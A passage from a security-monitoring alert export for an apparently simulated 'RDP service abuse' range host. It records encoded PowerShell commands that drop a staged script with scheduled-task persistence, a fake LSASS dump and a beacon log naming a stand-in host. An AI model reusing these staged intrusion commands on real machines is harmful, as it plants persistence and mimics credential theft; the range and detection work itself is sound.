\n" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似.", + "ValueDisplay": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似." + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为.", + "ValueDisplay": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为." + } + ], + "DisplaySandboxResult": false, + "EventNotes": [], + "EventStatus": 1, + "EventSubType": "渗透工具利用行为", + "HasTraceInfo": true, + "Id": 720158192, + "InstanceId": "i-bp1864d401as14btd9vf", + "InstanceName": "range-rdp-service-abuse-victim", + "InternetIp": "121.41.86.186", + "IntranetIp": "172.16.33.176", + "LargeModel": true, + "LastTime": "2026-06-02 20:10:02", + "LastTimeStamp": 1780402202000, + "Level": "serious", + "Name": "进程异常行为-渗透工具利用行为", + "OccurrenceTime": "2026-06-02 20:10:02", + "OccurrenceTimeStamp": 1780402202000, + "SaleVersion": "1", + "SecurityEventIds": "720158192", + "Stages": "[\"持久化\",\"代码执行\"]", + "SupportOperateCode": "AI.real_attack", + "TacticItems": [ + { + "TacticDisplayName": "持久化", + "TacticId": "TA0003" + }, + { + "TacticDisplayName": "代码执行", + "TacticId": "TA0002" + } + ], + "UniqueInfo": "60b48a170b7b8bada880e831bed93ca3", + "Uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf" + }, + { + "Advanced": false, + "AlarmEventName": "可疑Powershell指令", + "AlarmEventNameDisplay": "可疑Powershell指令", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "bb3c3fdec0227a38bde1aa43d2fe6989", + "AutoBreaking": false, + "CanBeDealOnLine": false, + "CanCancelFault": false, + "ContainHwMode": false, + "DataSource": "aegis_suspicious_event", + "Desc": "黑客常常利用Powershell进行恶意文件下载、恶意文件不落盘持久化运行、反弹shell等恶意行为。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统上发现一个可疑进程, 可能与蠕虫病毒或入侵事件相关.", + "ValueDisplay": "在您的系统上发现一个可疑进程, 可能与蠕虫病毒或入侵事件相关." + }, + { + "NameDisplay": "ATT&CK 矩阵ID", + "Type": "text", + "Value": "T1059.001", + "ValueDisplay": "T1059.001" + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": " 该Powershell命令包含可疑的代码特征\n ", + "ValueDisplay": " 该Powershell命令包含可疑的代码特征\n " + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "Administrator", + "ValueDisplay": "Administrator" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\payloads\\system-stage.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\payloads\\system-stage.ps1', [Convert]::FromBase64String('JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKJFByb2dyYW1EYXRhRGlyID0gIkM6XFByb2dyYW1EYXRhXFdpbmRvd3NIZWFsdGgiCiRUZW1wRGlyID0gIkM6XFdpbmRvd3NcVGVtcCIKTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVBhdGggJFByb2dyYW1EYXRhRGlyIHwgT3V0LU51bGwKCiRQYXlsb2FkID0gSm9pbi1QYXRoICRQcm9ncmFtRGF0YURpciAiV2luZG93c0hlYWx0aFN2Yy5wczEiCkAnCiRMb2dEaXIgPSAiQzpcUHJvZ3JhbURhdGFcV2luZG93c0hlYWx0aCIKTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVBhdGggJExvZ0RpciB8IE91dC1OdWxsCiIkKEdldC1EYXRlIC1Gb3JtYXQgbykgYmVhY29uIG1hbGljaW91cy11cGRhdGUuZXhhbXBsZS5jbjo4NDQzIiB8IEFkZC1Db250ZW50IC1QYXRoICIkTG9nRGlyXGxhc3QtYmVhY29uLmxvZyIKU3RhcnQtU2xlZXAgLVNlY29uZHMgMzAKJ0AgfCBTZXQtQ29udGVudCAtRW5j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tcERpclxwcm9jZHVtcC5leGUiCiJNRE1QIGZha2UgTFNBU1MgZHVtcCBmb3IgYmVuY2htYXJrIGZvcmVuc2ljIGRldGVjdGlvbiIgfCBTZXQtQ29udGVudCAtRW5jb2RpbmcgQVNDSUkgLVBhdGggIiRUZW1wRGlyXGxzYXNzLmRtcCIKImNyZWRlbnRpYWwgcmVzaWR1ZTogbG9jYWwgYWNjb3VudHMgcmVxdWlyZSByb3RhdGlvbiBhZnRlciBjb21wcm9taXNlIiB8IFNldC1Db250ZW50IC1FbmNvZGluZyBVVEY4IC1QYXRoICIkVGVtcERpclxjcmVkcy50eHQiCiIkKEdldC1EYXRlIC1Gb3JtYXQgbykgYmVhY29uIG1hbGljaW91cy11cGRhdGUuZXhhbXBsZS5jbjo4NDQzIiB8IEFkZC1Db250ZW50IC1QYXRoICIkUHJvZ3JhbURhdGFEaXJcbGFzdC1iZWFjb24ubG9nIgo='))\"", + "ValueDisplay": "powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\payloads\\system-stage.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\payloads\\system-stage.ps1', [Convert]::FromBase64String('JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKJFByb2dyYW1EYXRhRGlyID0gIkM6XFByb2dyYW1EYXRhXFdpbmRvd3NIZWFsdGgiCiRUZW1wRGlyID0gIkM6XFdpbmRvd3NcVGVtcCIKTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVBhdGggJFByb2dyYW1EYXRhRGlyIHwgT3V0LU51bGwKCiRQYXlsb2FkID0gSm9pbi1QYXRoICRQcm9ncmFtRGF0YURpciAiV2luZG93c0hlYWx0aFN2Yy5wczEiCkAnCiRMb2dEaXIgPSAiQzpcUHJvZ3JhbURhdGFcV2luZG93c0hlYWx0aCIKTmV3LUl0ZW0gLUl0ZW1UeXB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pbnRlbmFuY2VcIiAtVGFza05hbWUgIkhlYWx0aFN5bmMiIC1BY3Rpb24gJFRhc2tBY3Rpb24gLVRyaWdnZXIgJFRhc2tUcmlnZ2VyIC1QcmluY2lwYWwgJFRhc2tQcmluY2lwYWwgLUZvcmNlIHwgT3V0LU51bGwKCiJmYWtlLXByb2NkdW1wLWJpbmFyeS1tYXJrZXIiIHwgU2V0LUNvbnRlbnQgLUVuY29kaW5nIEFTQ0lJIC1QYXRoICIkVGVtcERpclxwcm9jZHVtcC5leGUiCiJNRE1QIGZha2UgTFNBU1MgZHVtcCBmb3IgYmVuY2htYXJrIGZvcmVuc2ljIGRldGVjdGlvbiIgfCBTZXQtQ29udGVudCAtRW5jb2RpbmcgQVNDSUkgLVBhdGggIiRUZW1wRGlyXGxzYXNzLmRtcCIKImNyZWRlbnRpYWwgcmVzaWR1ZTogbG9jYWwgYWNjb3VudHMgcmVxdWlyZSByb3RhdGlvbiBhZnRlciBjb21wcm9taXNlIiB8IFNldC1Db250ZW50IC1FbmNvZGluZyBVVEY4IC1QYXRoICIkVGVtcERpclxjcmVkcy50eHQiCiIkKEdldC1EYXRlIC1Gb3JtYXQgbykgYmVhY29uIG1hbGljaW91cy11cGRhdGUuZXhhbXBsZS5jbjo4NDQzIiB8IEFkZC1Db250ZW50IC1QYXRoICIkUHJvZ3JhbURhdGFEaXJcbGFzdC1iZWFjb24ubG9nIgo='))\"" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe", + "ValueDisplay": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "5024", + "ValueDisplay": "5024" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "\"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\payloads\\system-stage.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Vkcy50eHQiCiIkKEdldC1EYXRlIC1Gb3JtYXQgbykgYmVhY29uIG1hbGljaW91cy11cGRhdGUuZXhhbXBsZS5jbjo4NDQzIiB8IEFkZC1Db250ZW50IC1QYXRoICIkUHJvZ3JhbURhdGFEaXJcbGFzdC1iZWFjb24ubG9nIgo='))\"\"", + "ValueDisplay": "\"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\payloads\\system-stage.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\payloads\\system-stage.ps1', [Convert]::FromBase64String('JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKJFByb2dyYW1EYXRhRGlyID0gIkM6XFByb2dyYW1EYXRhXFdpbmRvd3NIZWFsdGgiCiRUZW1wRGlyID0gIkM6XFdpbmRvd3NcVGVtcCIKTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVBhdGggJFByb2dyYW1EYXRhRGlyIHwgT3V0LU51bGwKCiRQYXlsb2FkID0gSm9pbi1QYXRoICRQcm9ncmFtRGF0YURpciAiV2luZG93c0hlYWx0aFN2Yy5wczEiCkAnCiRMb2dEaXIgPSAiQzpcUHJvZ3JhbURhdGFcV2luZG93c0hlYWx0aCIKTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVBhdGggJExvZ0RpciB8IE91dC1OdWxsCiIkKEdldC1EYXRlIC1Gb3JtYXQgbykgYmVhY29uIG1hbGljaW91cy11cGRhdGUuZXhhbXBsZS5jbjo4NDQzIiB8IEFkZC1Db250ZW50IC1QYXRoICIkTG9nRGlyXGxhc3QtYmVhY29uLmxvZyIKU3RhcnQtU2xlZXAgLVNlY29uZHMgMzAKJ0AgfCBTZXQtQ29udGVudCAtRW5jb2RpbmcgVVRGOCAtUGF0aCAkUGF5bG9hZAo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UgTFNBU1MgZHVtcCBmb3IgYmVuY2htYXJrIGZvcmVuc2ljIGRldGVjdGlvbiIgfCBTZXQtQ29udGVudCAtRW5jb2RpbmcgQVNDSUkgLVBhdGggIiRUZW1wRGlyXGxzYXNzLmRtcCIKImNyZWRlbnRpYWwgcmVzaWR1ZTogbG9jYWwgYWNjb3VudHMgcmVxdWlyZSByb3RhdGlvbiBhZnRlciBjb21wcm9taXNlIiB8IFNldC1Db250ZW50IC1FbmNvZGluZyBVVEY4IC1QYXRoICIkVGVtcERpclxjcmVkcy50eHQiCiIkKEdldC1EYXRlIC1Gb3JtYXQgbykgYmVhY29uIG1hbGljaW91cy11cGRhdGUuZXhhbXBsZS5jbjo4NDQzIiB8IEFkZC1Db250ZW50IC1QYXRoICIkUHJvZ3JhbURhdGFEaXJcbGFzdC1iZWFjb24ubG9nIgo='))\"\"" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "C:/Windows/System32/cmd.exe", + "ValueDisplay": "C:/Windows/System32/cmd.exe" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "3092", + "ValueDisplay": "3092" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[2808]  C:\\Windows\\System32\\OpenSSH\\sshd.exe\n
            -[5556]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -R\n
                -[2816]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -z\n
                    -[3092]  \"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\payloads\\system-stage.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\payloads\\system-stage.ps1', [Convert]::FromBase64String('JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKJFByb2dyYW1EYXRhRGlyID0gIkM6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zdC1iZWFjb24ubG9nIgo='))\"\"

\n", + "ValueDisplay": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[2808]  C:\\Windows\\System32\\OpenSSH\\sshd.exe\n
            -[5556]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -R\n
                -[2816]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -z\n
                    -[3092]  \"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\payloads\\system-stage.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\payloads\\system-stage.ps1', [Convert]::FromBase64String('JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKJFByb2dyYW1EYXRhRGlyID0gIkM6XFByb2dyYW1EYXRhXFdpbmRvd3NIZWFsdGgiCiRUZW1wRGlyID0gIkM6XFdpbmRvd3NcVGVtcCIKTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVBhdGggJFByb2dyYW1EYXRhRGlyIHwgT3V0LU51bGwKCiRQYXlsb2FkID0gSm9pbi1QYXRoICRQcm9ncmFtRGF0YURpciAiV2luZG93c0hlYWx0aFN2Yy5wczEiCkAnCiRMb2dEaXIgPSAiQzpcUHJvZ3JhbURhdGFcV2luZG93c0hlYWx0aCIKTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtRm9yY2UgLVBhdGggJExvZ0RpciB8IE91dC1OdWxsCiIkKEdldC1EYXRlIC1Gb3JtYXQgbykgYmVhY29uIG1hbGljaW91cy11cGRhdGUuZXhhbXBsZS5jbjo4NDQzIiB8IEFkZC1Db250ZW50IC1QYXRoICIkTG9nRGlyXGxhc3QtYmVhY29uLmxvZyIKU3RhcnQtU2xlZXAgLVNlY29uZHMgMzAKJ0AgfCBTZXQtQ29udGVudCAtRW5j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tcERpclxwcm9jZHVtcC5leGUiCiJNRE1QIGZha2UgTFNBU1MgZHVtcCBmb3IgYmVuY2htYXJrIGZvcmVuc2ljIGRldGVjdGlvbiIgfCBTZXQtQ29udGVudCAtRW5jb2RpbmcgQVNDSUkgLVBhdGggIiRUZW1wRGlyXGxzYXNzLmRtcCIKImNyZWRlbnRpYWwgcmVzaWR1ZTogbG9jYWwgYWNjb3VudHMgcmVxdWlyZSByb3RhdGlvbiBhZnRlciBjb21wcm9taXNlIiB8IFNldC1Db250ZW50IC1FbmNvZGluZyBVVEY4IC1QYXRoICIkVGVtcERpclxjcmVkcy50eHQiCiIkKEdldC1EYXRlIC1Gb3JtYXQgbykgYmVhY29uIG1hbGljaW91cy11cGRhdGUuZXhhbXBsZS5jbjo4NDQzIiB8IEFkZC1Db250ZW50IC1QYXRoICIkUHJvZ3JhbURhdGFEaXJcbGFzdC1iZWFjb24ubG9nIgo='))\"\"

\n" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似.", + "ValueDisplay": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似." + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为.", + "ValueDisplay": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为." + } + ], + "DisplaySandboxResult": false, + "EventNotes": [], + "EventStatus": 1, + "EventSubType": "可疑Powershell指令", + "HasTraceInfo": true, + "Id": 720376928, + "InstanceId": "i-bp1864d401as14btd9vf", + "InstanceName": "range-rdp-service-abuse-victim", + "InternetIp": "121.41.86.186", + "IntranetIp": "172.16.33.176", + "LargeModel": true, + "LastTime": "2026-06-02 20:03:46", + "LastTimeStamp": 1780401826000, + "Level": "suspicious", + "Name": "进程异常行为-可疑Powershell指令", + "OccurrenceTime": "2026-06-02 20:03:46", + "OccurrenceTimeStamp": 1780401826000, + "SaleVersion": "1", + "SecurityEventIds": "720376928", + "Stages": "[\"代码执行\"]", + "SupportOperateCode": "AI.real_attack", + "TacticItems": [ + { + "TacticDisplayName": "代码执行", + "TacticId": "TA0002" + } + ], + "UniqueInfo": "05c49433311af1816aa5d1dfb5d958d1", + "Uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf" + }, + { + "Advanced": false, + "AlarmEventName": "可疑Powershell指令", + "AlarmEventNameDisplay": "可疑Powershell指令", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "01fc72a26e64ad5039daf0b7d7a10b18", + "AutoBreaking": false, + "CanBeDealOnLine": false, + "CanCancelFault": false, + "ContainHwMode": false, + "DataSource": "aegis_suspicious_event", + "Desc": "黑客常常利用Powershell进行恶意文件下载、恶意文件不落盘持久化运行、反弹shell等恶意行为。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统上发现一个可疑进程, 可能与蠕虫病毒或入侵事件相关.", + "ValueDisplay": "在您的系统上发现一个可疑进程, 可能与蠕虫病毒或入侵事件相关." + }, + { + "NameDisplay": "ATT&CK 矩阵ID", + "Type": "text", + "Value": "T1059.001", + "ValueDisplay": "T1059.001" + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": " 该Powershell命令包含可疑的代码特征\n ", + "ValueDisplay": " 该Powershell命令包含可疑的代码特征\n " + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "Administrator", + "ValueDisplay": "Administrator" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1', [Convert]::FromBase64String('JExvZ0RpciA9ICJDOlxQcm9ncmFtRGF0YVxDb3JwQmFja3VwIgpOZXctSXRlbSAtSXRlbVR5cGUgRGlyZWN0b3J5IC1Gb3JjZSAtUGF0aCAkTG9nRGlyIHwgT3V0LU51bGwKIiQoR2V0LURhdGUgLUZvcm1hdCBvKSBDb3JwQmFja3VwU3ZjIGhlYXJ0YmVhdCIgfCBBZGQtQ29udGVudCAtUGF0aCAiJExvZ0RpclxiYWNrdXAubG9nIgpTdGFydC1TbGVlcCAtU2Vjb25kcyAzMAo='))\"", + "ValueDisplay": "powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1', [Convert]::FromBase64String('JExvZ0RpciA9ICJDOlxQcm9ncmFtRGF0YVxDb3JwQmFja3VwIgpOZXctSXRlbSAtSXRlbVR5cGUgRGlyZWN0b3J5IC1Gb3JjZSAtUGF0aCAkTG9nRGlyIHwgT3V0LU51bGwKIiQoR2V0LURhdGUgLUZvcm1hdCBvKSBDb3JwQmFja3VwU3ZjIGhlYXJ0YmVhdCIgfCBBZGQtQ29udGVudCAtUGF0aCAiJExvZ0RpclxiYWNrdXAubG9nIgpTdGFydC1TbGVlcCAtU2Vjb25kcyAzMAo='))\"" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe", + "ValueDisplay": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "3244", + "ValueDisplay": "3244" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "\"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1', [Convert]::FromBase64String('JExvZ0RpciA9ICJDOlxQcm9ncmFtRGF0YVxDb3JwQmFja3VwIgpOZXctSXRlbSAtSXRlbVR5cGUgRGlyZWN0b3J5IC1Gb3JjZSAtUGF0aCAkTG9nRGlyIHwgT3V0LU51bGwKIiQoR2V0LURhdGUgLUZvcm1hdCBvKSBDb3JwQmFja3VwU3ZjIGhlYXJ0YmVhdCIgfCBBZGQtQ29udGVudCAtUGF0aCAiJExvZ0RpclxiYWNrdXAubG9nIgpTdGFydC1TbGVlcCAtU2Vjb25kcyAzMAo='))\"\"", + "ValueDisplay": "\"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1', [Convert]::FromBase64String('JExvZ0RpciA9ICJDOlxQcm9ncmFtRGF0YVxDb3JwQmFja3VwIgpOZXctSXRlbSAtSXRlbVR5cGUgRGlyZWN0b3J5IC1Gb3JjZSAtUGF0aCAkTG9nRGlyIHwgT3V0LU51bGwKIiQoR2V0LURhdGUgLUZvcm1hdCBvKSBDb3JwQmFja3VwU3ZjIGhlYXJ0YmVhdCIgfCBBZGQtQ29udGVudCAtUGF0aCAiJExvZ0RpclxiYWNrdXAubG9nIgpTdGFydC1TbGVlcCAtU2Vjb25kcyAzMAo='))\"\"" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "C:/Windows/System32/cmd.exe", + "ValueDisplay": "C:/Windows/System32/cmd.exe" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "3748", + "ValueDisplay": "3748" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[2808]  C:\\Windows\\System32\\OpenSSH\\sshd.exe\n
            -[1716]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -R\n
                -[1068]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -z\n
                    -[3748]  \"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1', [Convert]::FromBase64String('JExvZ0RpciA9ICJDOlxQcm9ncmFtRGF0YVxDb3JwQmFja3VwIgpOZXctSXRlbSAtSXRlbVR5cGUgRGlyZWN0b3J5IC1Gb3JjZSAtUGF0aCAkTG9nRGlyIHwgT3V0LU51bGwKIiQoR2V0LURhdGUgLUZvcm1hdCBvKSBDb3JwQmFja3VwU3ZjIGhlYXJ0YmVhdCIgfCBBZGQtQ29udGVudCAtUGF0aCAiJExvZ0RpclxiYWNrdXAubG9nIgpTdGFydC1TbGVlcCAtU2Vjb25kcyAzMAo='))\"\"

\n", + "ValueDisplay": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[2808]  C:\\Windows\\System32\\OpenSSH\\sshd.exe\n
            -[1716]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -R\n
                -[1068]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -z\n
                    -[3748]  \"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\corp-backup-svc.ps1', [Convert]::FromBase64String('JExvZ0RpciA9ICJDOlxQcm9ncmFtRGF0YVxDb3JwQmFja3VwIgpOZXctSXRlbSAtSXRlbVR5cGUgRGlyZWN0b3J5IC1Gb3JjZSAtUGF0aCAkTG9nRGlyIHwgT3V0LU51bGwKIiQoR2V0LURhdGUgLUZvcm1hdCBvKSBDb3JwQmFja3VwU3ZjIGhlYXJ0YmVhdCIgfCBBZGQtQ29udGVudCAtUGF0aCAiJExvZ0RpclxiYWNrdXAubG9nIgpTdGFydC1TbGVlcCAtU2Vjb25kcyAzMAo='))\"\"

\n" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似.", + "ValueDisplay": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似." + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为.", + "ValueDisplay": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为." + } + ], + "DisplaySandboxResult": false, + "EventNotes": [], + "EventStatus": 1, + "EventSubType": "可疑Powershell指令", + "HasTraceInfo": true, + "Id": 720376911, + "InstanceId": "i-bp1864d401as14btd9vf", + "InstanceName": "range-rdp-service-abuse-victim", + "InternetIp": "121.41.86.186", + "IntranetIp": "172.16.33.176", + "LargeModel": true, + "LastTime": "2026-06-02 20:03:45", + "LastTimeStamp": 1780401825000, + "Level": "suspicious", + "Name": "进程异常行为-可疑Powershell指令", + "OccurrenceTime": "2026-06-02 20:03:45", + "OccurrenceTimeStamp": 1780401825000, + "SaleVersion": "1", + "SecurityEventIds": "720376911", + "Stages": "[\"代码执行\"]", + "SupportOperateCode": "AI.real_attack", + "TacticItems": [ + { + "TacticDisplayName": "代码执行", + "TacticId": "TA0002" + } + ], + "UniqueInfo": "3bb2e232b6b831e624123345cbd4fb0b", + "Uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf" + }, + { + "Advanced": false, + "AlarmEventName": "可疑Powershell指令", + "AlarmEventNameDisplay": "可疑Powershell指令", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "76aecac45b4bc4e83cca83e5df4ed98b", + "AutoBreaking": false, + "CanBeDealOnLine": false, + "CanCancelFault": false, + "ContainHwMode": false, + "DataSource": "aegis_suspicious_event", + "Desc": "黑客常常利用Powershell进行恶意文件下载、恶意文件不落盘持久化运行、反弹shell等恶意行为。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统上发现一个可疑进程, 可能与蠕虫病毒或入侵事件相关.", + "ValueDisplay": "在您的系统上发现一个可疑进程, 可能与蠕虫病毒或入侵事件相关." + }, + { + "NameDisplay": "ATT&CK 矩阵ID", + "Type": "text", + "Value": "T1059.001", + "ValueDisplay": "T1059.001" + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": " 该Powershell命令包含可疑的代码特征\n ", + "ValueDisplay": " 该Powershell命令包含可疑的代码特征\n " + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "Administrator", + "ValueDisplay": "Administrator" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\setup_victim.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range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MwfSIgL3N1Y2Nlc3M6ZW5hYmxlIC9mYWlsdXJlOmVuYWJsZSB8IE91dC1OdWxsCgpXcml0ZS1Ib3N0ICJWaWN0aW0gc2V0dXAgY29tcGxldGUiCg=='))\"", + "ValueDisplay": "powershell -NoProfile -Command \"[IO.Directory]::CreateDirectory([IO.Path]::GetDirectoryName('C:\\range-rdp-service-abuse\\setup_victim.ps1')) | Out-Null; [IO.File]::WriteAllBytes('C:\\range-rdp-service-abuse\\setup_victim.ps1', 